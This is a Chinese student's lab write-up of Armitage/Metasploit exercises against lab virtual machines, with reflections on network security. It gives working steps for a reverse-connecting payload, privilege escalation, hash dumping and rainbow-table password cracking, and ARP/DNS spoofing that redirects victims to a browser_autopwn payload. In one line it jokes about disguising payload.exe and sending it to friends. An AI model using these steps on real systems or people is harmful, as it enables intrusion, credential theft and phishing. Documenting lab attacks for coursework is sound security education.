  • 配置好后点击Start Listener开始监听,此时msf会自动配置exploit模块:
  • 此时靶机重启并运行咱们的payload.exe时,目标会自动出如今Armitage控制台界面内并被开启Meterpreter会话:

    这就轻易地实现靶机自动上线了!还在等什么赶快把这个exe文件改个名换个图标假装一下发给你的小伙伴们吧(坏笑)~

  • 接下来咱们将经过抓取管理员Hash值的方法破解靶机的开机密码!首先在攻击成功的靶机上右键依次选择Meterpreter 1->Access->Dump Hashes->registry method

  • 能够看出Dump Hashes的原理是从SAM文件中dump域帐户的密码hash,话很少说直接用默认配置Launch

  • dump hashes居然失败了,提示权限不够:
  • 既然如此咱们手动提权试一下?
    • 首先用sessions命令查看会话,而后用sessions -i 1命令进入会话1
    • 先用getuid命令查看当前帐户名为crazymosquito,再用getsystem命令提权:

      什么?居然也不行!
  • 实际上这是因为win7靶机当前登陆的用户帐户不是Administrator致使的>_<咱们须要从新启用Administrator帐户!
    • 在靶机桌面上右击计算机图标,选择【管理】打开计算机管理:
    • 在左侧目录依次选择计算机管理(本地)->本地用户和组->用户,在Administrator上右击【属性】,把帐户已禁用前面的勾去掉便可:
    • 删除当前用户crazymosquito:
    • 而后一路选是(Y)


    • 能够看出当前帐户已变成Administrator
  • 为了体现出当前帐户的变化咱们应注销当前用户并从新登陆Administrator帐户,而后点开payload.exe从新回连Kali,此时回到Armitage能够看到直接回连成功(靶机下方描述为ODCE\Administrator):

  • 查看当前会话并进入会话3,发现已经能够成功提权(靶机下方描述变为NT AUTHORITY\SYSTEM):
  • 从新进行hashdump:
  • 此时能够看到成功抓取到Hash值!

接下来咱们利用Kali自带的工具Ophcrack对Hash进行破解!

  • Ophcrack工具介绍:

    Ophcrack是一款利用彩虹表来破解Windows密码的图形界面化工具。

    • 彩虹表(Rainbow Table)是一种破解Hash算法(找到碰撞)的技术,将暴力破解和字典两种经常使用的攻击方法结合起来,用一个大型数据字典来进行快速匹配暴力破解,以空间换时间,破解效率大幅度提升。

    • LM(LanManager)是Windows古老而脆弱的密码加密方式。任何大于7位的密码都被分红以7为单位的几个部分,最后不足7位的密码以0补足7位,而后经过加密运算最终组合成一个hash。因此实际上经过破解软件分解后,LM密码破解的上限就是7位,这使得以今天的PC运算速度在短期内暴力破解LM加密的密码成为可能(上限是两周),若是使用彩虹表,那么这个时间数量级可能被降低到小时。

  • 和Armitage相似,咱们能够经过菜单栏05-Password文件夹下找到Ophcrack的图标直接打开她:

  • 首先,咱们须要从官网下载Ophcrack提供的彩虹表文件。Ophcrack官网提供的彩虹表有XP和Vista两个版本:

    • XP版本提供了四个免费的彩虹表:XP free small (380MB)XP free fast (703MB)XP special (7.5GB)XP german (7.4GB)

      选择最小的那个查看介绍学习一波:

      XP free small (380MB)

      标识:SSTIC04-10k

      破解成功率: 99.9%

      字母数字表:123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

      该表有大小写字母加数字生成,大小为380MB,包含全部字母数字混合密码中99.9%的LanManager表。这些都是用大小写字母和数字组成的密码(大约800亿组合)。

      因为LanManager哈希表将密码截成每份7个字符的两份,咱们就能够用该表破解长度在1到14之间的密码。因为LanManager哈希表也是不区分大小写的,该表中的800亿的组合就至关于(12*10)^11(或者2^83)个密码,所以也被称为“字母数字表10K”。

    • Vista版本的彩虹表有Vista free (461MB)Vista proba free (581MB)Vista special (8.0GB)Vista num (3.0GB)

    • 因为这里测试的是win7的密码并且是简单密码,咱们下载Vista版本的Vista proba free(581MB)便可:

      咱们还能够看出彩虹表大小大体和字符集、可以破解密码长度有关,设置的字符集越复杂、能破解的长度越长彩虹表的体积就越庞大(咱们密码技术竞赛用到的彩虹表超过500G)!

  • 下载完以后,咱们打开Ophcrack工具,点击上方工具栏的Tables

  • 点击右下角的Install

  • 选择咱们下载的彩虹表文件(解压以后获得的文件夹):

  • 此时对应的彩虹表项会变绿表示可用,点击OK返回:

  • 在上方工具栏依次选择Load->Single hash

  • 把咱们刚才dump到的Hash值复制过来,点击OK进行破解:

  • 秒破解!显示win7靶机的开机密码为空(其实根本就没设置233)!

  • 没意思?那咱们来给Administrator设个密码试试!
    又回到熟悉的操做啦>_<

    从新登陆一下(密码就不告诉你),而后用payload.exe回连:

  • Armitage这边回连成功后使用hashdump:

  • 将最后这一串复制到Ophcrack中,点击工具栏中的Crack开始破解:

  • 能够看到已经开始加载彩虹表进行破解,下方记录了进度和所用时间:

  • 最后Ophcrack只用2分19秒就把win7靶机这个字母数字混合的密码给破解出来了!能够看出彩虹表的性能仍是很是惊人的>_<

返回目录

7.2 Bettercap+dnsspoof:Armitage下利用中间人攻击实现网络钓鱼

  • Bettercap工具介绍:

    Bettercap是一个比Exp7中用到的ettercap更先进、好用的也是目前咱们能获取到的功能最完备的一个中间人攻击框架。虽然Bettercap没有GUI界面,可是它仍然很好上手,使用起来特别便利。使用者只须要根据帮助文档将一个个命令组合起来就可使用其各类强大的功能。

    使用Bettercap时咱们并不须要像使用ettercap同样先行扫描局域网内的主机,Bettercap会帮咱们自动完成扫描主机的任务,而且能够实时发现网络中新接入的设备。若是你想手动指定攻击目标,Bettercap容许咱们经过命令来关闭自动发现设备的功能而且手动指定要攻击的单个目标或是部分网段/整个网段。

  • 中间人攻击原理:

  • DNS欺骗是一种中间人攻击形式,具体能够参考个人Exp7博客:2017-2018-2 20155314《网络对抗技术》Exp7 网络欺诈防范

  • dnsspoof原理:

    dnsspoof启用DNS欺骗,若是dnsspoof嗅探到局域网内有DNS请求数据包,它会分析其内容,并用伪造的DNS响应包来回复请求者。若是是请求解析某个域名,dnsspoof会让该域名从新指向另外一个IP地址(黑客所控制的主机),若是是反向IP指针解析,dnsspoof也会返回一个伪造的域名。

  • Armitage browser_autopwn模块简介:

    This module has three actions. The first (and the default) is 'WebServer' which uses a combination of client-side and server-side techniques to fingerprint HTTP clients and then automatically exploit them. Next is 'DefangedDetection' which does only the fingerprinting part. Lastly, 'list' simply prints the names of all exploit modules that would be used by the WebServer action given the current MATCH and EXCLUDE options. Also adds a 'list' command which is the same as running with ACTION=list.

  • Kali下并无集成Bettercap,咱们须要本身安装(不大,才4M左右),终端中输入命令:

    sudo apt-get install bettercap

  • 新建一个名为test.hosts的hosts文件用于DNS欺骗,输入命令:

    vim test.hosts

    内容以下,IP为Kali攻击机的IP(别忘了后面的*):

  • 开启Apache服务:

    service apache2 start
  • 进入Apache根目录/var/www/html,输入命令:

    cd /var/www/html
  • 新建index.php,并输入如下代码而后保存退出:

    <?php 
    header("Location:http://10.211.55.10:8088"); 
    ?>


    这样在DNS欺骗后会跳到指定IP(Kali攻击机IP),而后在经过php重定向到咱们的payload。

  • 在Armitage左侧树型目录下依次选择auxiliary->server->browser_autopwn并双击打开配置,直接用默认设置便可,点击Launch

    老规矩会进行一系列自动化配置:

    等待全部payload加载完成,一共20个:


  • 咱们打开一个新的终端窗口,输入命令bettercap开启bettercap:


    能够用bettercap -h命令查看帮助文档:

    与老版本不一样,新版(v2.0之后)的bettercap须要用-autostart参数来加载相应模块!

  • 攻击前,靶机用arp -a命令查看arp缓存表:

  • 开始arp欺骗攻击,输入命令:

    bettercap -autostart arp.spoof,net.sniff on


    咱们能够在靶机中看到她已被成功欺骗>_ <把kali攻击机当成网关啦> _<

  • Kali这边开始用dnsspoof进行DNS欺骗,输入命令:

    dnsspoof -f /root/test.hosts


    如今同一网关下的靶机无论打开什么URL都会解析到咱们的URL中!

返回目录

0x08 实践中遇到的问题及解决过程

启动Armitage时报错提示Could not connect to database

解决方案

  • 根据提示在终端中输入/etc/init.d/postgresql start命令启动postgresql服务,重启Armitage便可:

返回目录

0x09 实践总结与体会

9.1 Armitage到底能用来干啥?

   Armitage是图形化的Metasploit,其操做围绕着msfconsole展开,经过标签管理各类程序和各种资讯,能够同时处理多个msfconsole或session,大大下降了Metasploit操做的复杂度。从安全人员的角度来讲,全自动化的Armitage很是有助于管理员对主机的漏洞测试

9.2 一些感觉,写在最后!

  本次免考实践时间跨度极大,从最初接触Armitage有各类想法到挨个落实再到后期不断打磨直至最终定稿,前先后后竟有两个月之久!一路走来,正像刘老师说的那样,“开心就好”,是的我作到了,整个实践期间我真的很是开心,真的彻底是靠兴趣坚持下来的。不少人老是看我趴在电脑前就来问了,都快考完放假了健哥你咋还在作lyd的实验,我说你不懂,这是我最快乐的时光。漏洞使人沉醉,一个漏洞的复现可让我错过饭点、能够点灯刷夜,但毫不能够不把她写进个人博客中!毕竟,为了这一份小小的成就感,为了这一点小小的快乐,值^_^
  虽然Hacker随心所欲,但想要真正成功实施一次入侵仍是很是困难的,受到诸多不可控复杂因素限制,还要考虑清除入侵痕迹。在本身搭的环境中实践成不成功有时还(shui)得(ping)看(tai)脸(ci),更况且在未知环境中实际应用!还记得第一次漏洞攻击实验,从周三开始装各类虚拟机挨个找漏洞一直弄到周六才可贵成功第一次攻击。在作第一个ms08_067漏洞攻击时,首先是靶机操做系统的选择上,因为第一个常用的win7虚拟机已在清明假期被我用腾讯电脑管家打好了补丁极可能没办法实施攻击,所以我先拿PKI实验课上装的没有任何安全防御的win7客户机作试验,发现不行,那就换xp试试呗!而后我便用硬盘里珍藏多年的xp professional镜像安装了一个xp虚拟机,兴高采烈地配置好Armitage,一攻击发现仍是不行!!最后问了不少大佬才知道用英文版的xp能够成功,但这我仍是攻击了好几回的结果……而“永恒之蓝”的攻击更是连xp都不行而只能用PKI的win7虚拟机才能完成……总的来讲,漏洞攻击因“机”而异,寻找漏洞更是彻底取决于Hacker的眼力和本领。网络攻防其实就是“找漏洞”和“堵漏洞”之间的较量,而所谓“道高一尺魔高一丈”,漏洞攻击更具备先手优点,未知的敌人永远在未知的暗处对你发起未知的攻击。现在,在安全技术已经比较成熟的几大主流操做系统又在各类知名杀软的保护加持之下,每每被用户认为相对“安全”,但一个新漏洞的发现每每能引发轩然大波,拿到“黑市”中去卖能一晚上暴富;更有甚者如去年不法分子利用NSA武器库泄漏的危险漏洞“永恒之蓝”制做出一款蠕虫式勒索病毒软件WannaCry并借助网络大范围传播,锁定被感染用户的系统、加密所有数据并向直接其索取高额比特币,致使一场全球性互联网灾难!
  给咱们的启示在于,打补丁的方式虽然能够防范漏洞攻击,但这毕竟是被动的,是在攻击发生以后采起的行为。首先从源头上来讲,操做系统研发者就不该该让这些攻击成为可能,但无奈地球上毕竟不存在完美的程序猿,写代码时不免会产生bug。从安全人员的角度来看,要保护一个系统,必须主动一点,像Hacker那样并抢在Hacker以前对当前系统可能存在的全部漏洞进行检测,把漏洞堵起来,不安全的因素找出来,各类安全屏障立起来,让Hacker无机可乘!

网络对抗永远在路上。


  最后仍是要感谢一下一路陪我走来的Mac,他的性能足够强劲以致于让我能同时开3个虚拟机作渗透测试(>_<)辛苦啦(>_<)
  最后的最后感谢一下lyd老师(>_<)此处略去n字节(>_<)

本文连接:http://www.javashuo.com/article/p-tsmvoewi-en.html转载请注明出处,谢谢>_<

返回目录

0x0a 参考资料

返回目录

相关文章
相关标签/搜索